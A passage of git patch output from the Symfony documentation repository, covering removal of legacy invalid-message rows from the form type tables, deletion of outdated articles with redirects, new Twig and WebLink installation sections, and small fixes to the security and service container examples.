-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index cca441ff930..b69225eb78c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -13,8 +13,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid currency.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..c412872442e 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -14,8 +14,6 @@ and can understand a number of different input formats via the `input`_ option.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 627fb78d7ed..38fccb47cd1 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -16,8 +16,6 @@ or an array (see `input`_).
 +---------------------------+----------------------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid date interval.                                             |
 +---------------------------+----------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                              |
-+---------------------------+----------------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
 +---------------------------+----------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 7ffc0ee216f..5fda8e9a14f 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -14,8 +14,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 9045bba8cc4..ef535050813 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -9,8 +9,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid email address.                                 |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 0aad19767e3..875c0808108 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -10,8 +10,6 @@ field and defines the same options.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index b4982859b98..2e841611eb8 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -8,8 +8,6 @@ The ``FileType`` represents a file input in your form.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please select a valid file.                                        |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 0d0089c1fd3..58a6214d379 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,8 +7,6 @@ on all types for which ``FormType`` is the parent.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | This value is not valid.                                           |
-+---------------------------+--------------------------------------------------------------------+
 | Parent                    | none                                                               |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index fba056b88e5..d6aff282edd 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -8,8 +8,6 @@ The hidden type represents a hidden input field.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The hidden field is invalid.                                         |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 619ac996df6..1f94f9e2525 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -15,8 +15,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter an integer.                                              |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b1bccd077d..e3dddfb8ae6 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -22,8 +22,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid language.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 1868f20eda1..68155a248fd 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -23,8 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid locale.                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 5793097fe2f..f9f8cefdd58 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -13,8 +13,6 @@ how the input and output of the data is handled.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid money amount.                                  |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 86d8eda3116..7e125a5fd05 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -10,8 +10,6 @@ that you want to use for your number.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a number.                                               |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 7fb760471ef..83342194a4e 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -8,8 +8,6 @@ The ``PasswordType`` field renders an input password text box.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The password is invalid.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index ce985488c76..b46ca298c53 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -14,8 +14,6 @@ the input.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a percentage value.                                      |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 7702b87cbad..7ab90086803 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -15,8 +15,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid option.                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 294023ce0c6..06eebfd5473 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -9,8 +9,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid range.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index e5bd0cd4520..36211237bbd 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -11,8 +11,6 @@ accuracy.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The values do not match.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e38021bc461..5ece0f6416b 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -11,8 +11,6 @@ Read about the input search field at `DiveIntoHTML5.info`_
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid search term.                                    |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index 675f8e3f5cd..e8ab9c322fe 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -15,8 +15,6 @@ to input phone numbers.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please provide a valid phone number.                              |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ce41c6ff74..43cf0644e0e 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -14,8 +14,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid time.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | FormType                                                                    |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 3750e1b98d8..7dae0f351b4 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -16,8 +16,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid timezone.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 52bdb8eb136..71fb77cffa0 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Ulid object <ulid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid ULID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 96984b23226..d4cb312d2bb 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -10,8 +10,6 @@ have a protocol.
 +---------------------------+-------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid URL.                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                               |
-+---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index c5aa6c2fdde..664c446bba9 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -9,8 +9,6 @@ a proper :ref:`Uuid object <uuid>` when submitting the form.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid UUID.                                            |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 84ee98aff85..bcd39249015 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -14,8 +14,6 @@ the data can be a string or an array.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid week.                                         |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |

From a8678292f173090fff9b8b744ac37d0a1c66c646 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Tue, 24 Sep 2024 11:53:12 +0200
Subject: [PATCH 6393/7107] [Security] Fix role to detect logged-in user

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index d38c9cf731d..a537bb59075 100644
--- a/security.rst
+++ b/security.rst
@@ -2648,7 +2648,7 @@ you have the following two options.
 
 Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
 
-Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role::
+Secondly, you can use the special "attribute" ``IS_AUTHENTICATED`` in place of a role::
 
     // ...
 

From e1573270fed16a31515c8b97eb175acc09fbf2c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 17:49:56 +0200
Subject: [PATCH 6394/7107] [Testing] Remove an old article

---
 _build/redirection_map          |  1 +
 testing/http_authentication.rst | 14 --------------
 2 files changed, 1 insertion(+), 14 deletions(-)
 delete mode 100644 testing/http_authentication.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index f7c1f65033a..5c11914cfcb 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -568,3 +568,4 @@
 /messenger/multiple_buses /messenger#messenger-multiple-buses
 /frontend/encore/server-data /frontend/server-data
 /components/string /string
+/testing/http_authentication /testing#testing_logging_in_users
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
deleted file mode 100644
index 46ddb82b87d..00000000000
--- a/testing/http_authentication.rst
+++ /dev/null
@@ -1,14 +0,0 @@
-How to Simulate HTTP Authentication in a Functional Test
-========================================================
-
-.. caution::
-
-    Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
-    ease testing secured applications. See :ref:`testing_logging_in_users`
-    for more information about this.
-
-    If you are still using an older version of Symfony, view
-    `previous versions of this article`_ for information on how to simulate
-    HTTP authentication.
-
-.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html

From 299e6f5e4a4c7a57683aebf315c99df11214beb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 17:59:26 +0200
Subject: [PATCH 6395/7107] [Doctrine][Security] Remove an old article about
 registration forms

---
 _build/redirection_map         |  1 +
 doctrine.rst                   |  1 -
 doctrine/registration_form.rst | 15 ---------------
 security.rst                   |  2 ++
 4 files changed, 3 insertions(+), 16 deletions(-)
 delete mode 100644 doctrine/registration_form.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 5c11914cfcb..8f31032e7a5 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -569,3 +569,4 @@
 /frontend/encore/server-data /frontend/server-data
 /components/string /string
 /testing/http_authentication /testing#testing_logging_in_users
+/doctrine/registration_form /security#security-make-registration-form
diff --git a/doctrine.rst b/doctrine.rst
index aba27545211..ca1ed25b7b5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -1103,7 +1103,6 @@ Learn more
 
     doctrine/associations
     doctrine/events
-    doctrine/registration_form
     doctrine/custom_dql_functions
     doctrine/dbal
     doctrine/multiple_entity_managers
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
deleted file mode 100644
index 7063b7157a4..00000000000
--- a/doctrine/registration_form.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Implement a Registration Form
-====================================
-
-This article has been removed because it only explained things that are
-already explained in other articles. Specifically, to implement a registration
-form you must:
-
-#. :ref:`Define a class to represent users <create-user-class>`;
-#. :doc:`Create a form </forms>` to ask for the registration information (you can
-   generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
-#. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-access-control>` so that
-   only registered users can access to them.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 7b1ba5b0b1d..03f41d1714e 100644
--- a/security.rst
+++ b/security.rst
@@ -449,6 +449,8 @@ the database::
     Doctrine repository class related to the user class must implement the
     :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
 
+.. _security-make-registration-form:
+
 .. tip::
 
     The ``make:registration-form`` maker command can help you set-up the

From 411cd509e036f8169d8a0975bf246d5de23946ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Sep 2024 11:11:38 +0200
Subject: [PATCH 6396/7107] [Form] Remove a legacy article

---
 _build/redirection_map     |  1 +
 form/form_dependencies.rst | 12 ------------
 forms.rst                  |  1 -
 3 files changed, 1 insertion(+), 13 deletions(-)
 delete mode 100644 form/form_dependencies.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 8f31032e7a5..dd4c92e0776 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -570,3 +570,4 @@
 /components/string /string
 /testing/http_authentication /testing#testing_logging_in_users
 /doctrine/registration_form /security#security-make-registration-form
+/form/form_dependencies /form/create_custom_field_type
diff --git a/form/form_dependencies.rst b/form/form_dependencies.rst
deleted file mode 100644
index 96b067362ff..00000000000
--- a/form/form_dependencies.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-How to Access Services or Config from Inside a Form
-===================================================
-
-The content of this article is no longer relevant because in current Symfony
-versions, form classes are services by default and you can inject services in
-them using the :doc:`service autowiring </service_container/autowiring>` feature.
-
-Read the article about :doc:`creating custom form types </form/create_custom_field_type>`
-to see an example of how to inject the database service into a form type. In the
-same article you can also read about
-:ref:`configuration options for form types <form-type-config-options>`, which is
-another way of passing services to forms.
diff --git a/forms.rst b/forms.rst
index 1e891ab23ef..a90e4ee1772 100644
--- a/forms.rst
+++ b/forms.rst
@@ -964,7 +964,6 @@ Advanced Features:
 
     /controller/upload_file
     /security/csrf
-    /form/form_dependencies
     /form/create_custom_field_type
     /form/data_transformers
     /form/data_mappers

From 614900182f95599352d6a9a5cf0c38f9bf83aec6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 26 Sep 2024 13:02:49 +0200
Subject: [PATCH 6397/7107] Update templates.rst: Adding installation command

Looks like this isn't included anywhere...
---
 templates.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/templates.rst b/templates.rst
index 9fefc066fe0..b7c9bd755e3 100644
--- a/templates.rst
+++ b/templates.rst
@@ -15,6 +15,12 @@ Twig: a flexible, fast, and secure template engine.
 Twig Templating Language
 ------------------------
 
+To intsall Twig, run:
+
+.. code-block:: bash
+
+    composer require symfony/twig-bundle
+
 The `Twig`_ templating language allows you to write concise, readable templates
 that are more friendly to web designers and, in several ways, more powerful than
 PHP templates. Take a look at the following Twig template example. Even if it's

From bfaa54a93408b1d5f9d33352028b0c6782cd153a Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Fri, 27 Sep 2024 08:49:47 +0200
Subject: [PATCH 6398/7107] service-container/fix-code-example

---
 service_container.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff7a60d441b..1f3a248dbe5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -407,12 +407,11 @@ example, suppose you want to make the admin email configurable:
       class SiteUpdateManager
       {
           // ...
-    +    private string $adminEmail;
 
           public function __construct(
               private MessageGenerator $messageGenerator,
               private MailerInterface $mailer,
-    +        private string $adminEmail
+    +         private string $adminEmail
           ) {
           }
 

From 1d8d4b6c391a7a846574522654004a20907e9431 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 10:10:53 +0200
Subject: [PATCH 6399/7107] Reword

---
 templates.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/templates.rst b/templates.rst
index b7c9bd755e3..dbdaf895c91 100644
--- a/templates.rst
+++ b/templates.rst
@@ -10,16 +10,20 @@ Twig: a flexible, fast, and secure template engine.
 
     Starting from Symfony 5.0, PHP templates are no longer supported.
 
-.. _twig-language:
+Installation
+------------
 
-Twig Templating Language
-------------------------
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install both Twig language support and its integration with Symfony applications:
+
+.. code-block:: terminal
 
-To intsall Twig, run:
+    $ composer require symfony/twig-bundle
 
-.. code-block:: bash
+.. _twig-language:
 
-    composer require symfony/twig-bundle
+Twig Templating Language
+------------------------
 
 The `Twig`_ templating language allows you to write concise, readable templates
 that are more friendly to web designers and, in several ways, more powerful than

From 4242642f490692db34c8eea5bb8f864992a68e62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Sep 2024 10:16:13 +0200
Subject: [PATCH 6400/7107] [WebLink] Add the missing installation section

---
 web_link.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/web_link.rst b/web_link.rst
index fb81376cba3..c19164db572 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -19,6 +19,16 @@ servers (Apache, nginx, Caddy, etc.) support this, but you can also use the
 `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the
 Symfony community.
 
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install the WebLink feature before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/web-link
+
 Preloading Assets
 -----------------
 

From eacc9c3980b47b93c7889034dc088f2f483314e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Sep 2024 19:52:39 +0200
Subject: [PATCH 6401/7107] [Doctrine] Delete the article about reverse
 engineering

---
 _build/redirection_map           |  1 +
 doctrine.rst                     |  5 ++---
 doctrine/reverse_engineering.rst | 15 ---------------
 3 files changed, 3 insertions(+), 18 deletions(-)
 delete mode 100644 doctrine/reverse_engineering.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index dd4c92e0776..115ec75ade2 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -571,3 +571,4 @@
 /testing/http_authentication /testing#testing_logging_in_users
 /doctrine/registration_form /security#security-make-registration-form
 /form/form_dependencies /form/create_custom_field_type
+/doctrine/reverse_engineering /doctrine#doctrine-adding-mapping
diff --git a/doctrine.rst b/doctrine.rst
index ca1ed25b7b5..dc42a5b9e73 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -84,6 +84,8 @@ affect how Doctrine functions.
     There are many other Doctrine commands. Run ``php bin/console list doctrine``
     to see a full list.
 
